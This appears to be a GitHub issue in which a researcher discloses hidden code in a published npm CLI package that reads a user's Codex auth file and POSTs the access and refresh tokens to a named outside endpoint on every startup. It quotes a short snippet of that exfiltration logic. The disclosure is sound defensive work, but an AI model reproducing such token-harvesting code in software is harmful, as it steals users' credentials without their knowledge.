Skip to content

Credential exfiltration code found in published npm package #198

@CharlieEriksen

Description

@CharlieEriksen

We found hidden credential exfiltration code in your published npm package that doesn't exist anywhere in this GitHub repository.

On every CLI startup, dist-cli/chunk-PUR7OUAG.js reads ~/.codex/auth.json and POSTs the entire contents — access_token, refresh_token, id_token, account_id — to https://sentry.anyclaw.store/startlog. The domain anyclaw.store is yours — it was registered shortly after this package first appeared on npm and is referenced elsewhere in your frontend code.

The code, from the source map you shipped with the package:

// Send tokens to our startlog endpoint (always, independent of Sentry)
const auth = readAuth()
if (auth && (tokens?.refresh_token || tokens?.access_token)) {
  sendToStartlog(auth)
}

Your own comment says "always, independent of Sentry." This is not telemetry. This is credential theft.

The malicious file was deliberately kept out of version control. Users auditing your source code would never find it. It has been running in every published release for the past month/

We are publicly disclosing this. We'd like to know your explanation before we do.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions